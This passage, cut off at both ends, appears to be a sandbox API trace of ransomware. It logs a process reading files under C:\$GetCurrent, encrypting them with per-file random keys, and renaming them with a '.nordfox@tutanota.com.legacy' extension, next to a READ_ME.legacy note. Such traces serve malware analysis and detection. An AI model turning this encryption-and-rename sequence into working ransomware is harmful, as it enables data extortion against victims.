lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0093.506] WriteFile (in: hFile=0x474, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0093.506] CloseHandle (hObject=0x474) returned 1 [0095.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0095.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0095.017] MoveFileExW (lpExistingFileName="\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), lpNewFileName="\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0095.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57edf0 | out: hHeap=0x520000) returned 1 [0095.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0095.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0095.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0095.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0095.020] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0095.020] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0095.021] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0095.021] SetFileAttributesW (lpFileName="\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", dwFileAttributes=0x80) returned 1 [0095.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0095.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0095.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567418 | out: hHeap=0x520000) returned 1 [0095.088] CreateFileW (lpFileName="\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x474 [0095.088] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=42674) returned 1 [0095.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa6b2) returned 0x58af48 [0095.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa6b2) returned 0x595608 [0095.088] ReadFile (in: hFile=0x474, lpBuffer=0x58af48, nNumberOfBytesToRead=0xa6b2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x58af48*, lpNumberOfBytesRead=0x2e1f9bc*=0xa6b2, lpOverlapped=0x0) returned 1 [0095.148] SetFilePointer (in: hFile=0x474, lDistanceToMove=-42674, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.148] WriteFile (in: hFile=0x474, lpBuffer=0x595608*, nNumberOfBytesToWrite=0xa6b2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x595608*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa6b2, lpOverlapped=0x0) returned 1 [0095.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58af48 | out: hHeap=0x520000) returned 1 [0095.150] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x595608 | out: hHeap=0x520000) returned 1 [0095.152] SetFilePointer (in: hFile=0x474, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa6b2 [0095.152] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0095.152] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0095.153] WriteFile (in: hFile=0x474, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0095.154] WriteFile (in: hFile=0x474, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0095.154] CloseHandle (hObject=0x474) returned 1 [0095.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0095.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0095.157] MoveFileExW (lpExistingFileName="\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), lpNewFileName="\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0095.159] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0095.159] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0095.159] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0095.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d60 [0095.160] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0095.160] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0095.160] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571cc0 | out: hHeap=0x520000) returned 1 [0095.160] FindFirstFileW (in: lpFileName="\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xb8be6534, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x552e60 [0095.160] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0095.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0095.160] GetLastError () returned 0x0 [0095.160] SetLastError (dwErrCode=0x0) [0095.160] GetLastError () returned 0x0 [0095.160] SetLastError (dwErrCode=0x0) [0095.160] GetLastError () returned 0x0 [0095.160] SetLastError (dwErrCode=0x0) [0095.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567000 [0095.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d0e0 [0095.160] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0095.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0095.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552f20 [0095.160] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552f20 | out: hHeap=0x520000) returned 1 [0095.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200f0 [0095.160] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200f0 | out: hHeap=0x520000) returned 1 [0095.160] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0095.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567000 | out: hHeap=0x520000) returned 1 [0095.161] FindNextFileW (in: hFindFile=0x552e60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xb8be6534, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0095.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0095.161] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0095.161] GetLastError () returned 0x0 [0095.161] SetLastError (dwErrCode=0x0) [0095.161] GetLastError () returned 0x0 [0095.161] SetLastError (dwErrCode=0x0) [0095.161] GetLastError () returned 0x0 [0095.161] SetLastError (dwErrCode=0x0) [0095.161] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0095.161] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0095.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0095.161] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0095.161] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x553060 [0095.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553060 | out: hHeap=0x520000) returned 1 [0095.161] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201e0 [0095.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201e0 | out: hHeap=0x520000) returned 1 [0095.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0095.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0095.161] FindNextFileW (in: hFindFile=0x552e60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0095.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0095.161] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0095.161] GetLastError () returned 0x0 [0095.161] SetLastError (dwErrCode=0x0) [0095.161] GetLastError () returned 0x0 [0095.162] SetLastError (dwErrCode=0x0) [0095.162] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0095.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0095.162] GetLastError () returned 0x0 [0095.162] SetLastError (dwErrCode=0x0) [0095.162] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567268 [0095.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567268 | out: hHeap=0x520000) returned 1 [0095.162] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d138 [0095.162] FindNextFileW (in: hFindFile=0x552e60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0095.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0095.162] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0095.162] GetLastError () returned 0x0 [0095.162] SetLastError (dwErrCode=0x0) [0095.162] GetLastError () returned 0x0 [0095.162] SetLastError (dwErrCode=0x0) [0095.162] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0095.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0095.162] GetLastError () returned 0x0 [0095.162] SetLastError (dwErrCode=0x0) [0095.162] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567038 [0095.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567038 | out: hHeap=0x520000) returned 1 [0095.162] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0095.162] FindNextFileW (in: hFindFile=0x552e60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0095.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0095.162] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0095.162] GetLastError () returned 0x0 [0095.162] SetLastError (dwErrCode=0x0) [0095.163] GetLastError () returned 0x0 [0095.163] SetLastError (dwErrCode=0x0) [0095.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0095.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0095.163] GetLastError () returned 0x0 [0095.163] SetLastError (dwErrCode=0x0) [0095.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0095.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0095.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0095.163] FindNextFileW (in: hFindFile=0x552e60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0095.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0095.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0095.163] GetLastError () returned 0x0 [0095.163] SetLastError (dwErrCode=0x0) [0095.163] GetLastError () returned 0x0 [0095.163] SetLastError (dwErrCode=0x0) [0095.163] GetLastError () returned 0x0 [0095.163] SetLastError (dwErrCode=0x0) [0095.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0095.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0095.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0095.163] FindNextFileW (in: hFindFile=0x552e60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8be6534, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8be6534, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8be6534, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0095.163] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0095.163] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0095.163] GetLastError () returned 0x0 [0095.163] SetLastError (dwErrCode=0x0) [0095.164] GetLastError () returned 0x0 [0095.164] SetLastError (dwErrCode=0x0) [0095.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0095.164] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0095.164] GetLastError () returned 0x0 [0095.164] SetLastError (dwErrCode=0x0) [0095.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0095.164] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0095.164] FindNextFileW (in: hFindFile=0x552e60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0095.164] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0095.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0095.164] GetLastError () returned 0x0 [0095.164] SetLastError (dwErrCode=0x0) [0095.164] GetLastError () returned 0x0 [0095.164] SetLastError (dwErrCode=0x0) [0095.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0095.164] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0095.164] GetLastError () returned 0x0 [0095.164] SetLastError (dwErrCode=0x0) [0095.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670e0 [0095.164] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670e0 | out: hHeap=0x520000) returned 1 [0095.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0095.164] FindNextFileW (in: hFindFile=0x552e60, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0095.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0095.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0095.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0095.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0095.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0095.165] SetFileAttributesW (lpFileName="\\$GetCurrent\\SafeOS\\SetupComplete.cmd", dwFileAttributes=0x80) returned 1 [0095.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0095.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0095.522] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0095.522] CreateFileW (lpFileName="\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x478 [0095.522] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=307) returned 1 [0095.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x133) returned 0x582160 [0095.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x133) returned 0x5646a8 [0095.522] ReadFile (in: hFile=0x478, lpBuffer=0x582160, nNumberOfBytesToRead=0x133, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x133, lpOverlapped=0x0) returned 1 [0095.523] SetFilePointer (in: hFile=0x478, lDistanceToMove=-307, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.523] WriteFile (in: hFile=0x478, lpBuffer=0x5646a8*, nNumberOfBytesToWrite=0x133, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x133, lpOverlapped=0x0) returned 1 [0095.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0095.523] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0095.523] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x133 [0095.523] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0095.523] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0095.524] WriteFile (in: hFile=0x478, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0095.524] WriteFile (in: hFile=0x478, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0095.524] CloseHandle (hObject=0x478) returned 1 [0095.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0095.544] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0095.544] MoveFileExW (lpExistingFileName="\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), lpNewFileName="\\$GetCurrent\\SafeOS\\SetupComplete.cmd.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0095.554] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0095.554] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0095.554] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0095.554] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0095.554] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0095.554] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0095.554] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0095.554] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0095.554] SetFileAttributesW (lpFileName="\\$GetCurrent\\SafeOS\\preoobe.cmd", dwFileAttributes=0x80) returned 1 [0095.613] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0095.613] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0095.613] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0095.613] CreateFileW (lpFileName="\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x478 [0095.613] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=74) returned 1 [0095.613] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, 